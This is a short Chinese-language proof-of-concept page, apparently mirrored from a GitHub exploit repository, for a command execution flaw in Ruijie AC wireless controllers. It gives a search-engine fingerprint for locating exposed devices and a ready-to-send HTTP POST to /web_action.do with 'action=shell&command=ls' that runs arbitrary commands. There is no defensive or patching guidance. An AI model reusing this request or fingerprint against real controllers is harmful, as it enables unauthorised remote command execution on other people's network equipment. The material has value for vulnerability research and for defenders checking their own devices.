mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-07 19:35:52 +00:00
1.3 KiB
1.3 KiB
锐捷AC无线控制器存在命令执行漏洞
一、漏洞简介
锐捷AC无线控制器存在命令执行漏洞，攻击者可通过该漏洞执行任意命令
二、影响版本
锐捷AC无线控制器
三、资产测绘
web.body="简网络，玩智分，无线移动体验 "
●登录
四、漏洞复现
POST /web_action.do HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
action=shell&command=ls
更新: 2024-06-24 11:42:25
原文: https://www.yuque.com/xiaokp7/ocvun2/fivwdfbv0bacamon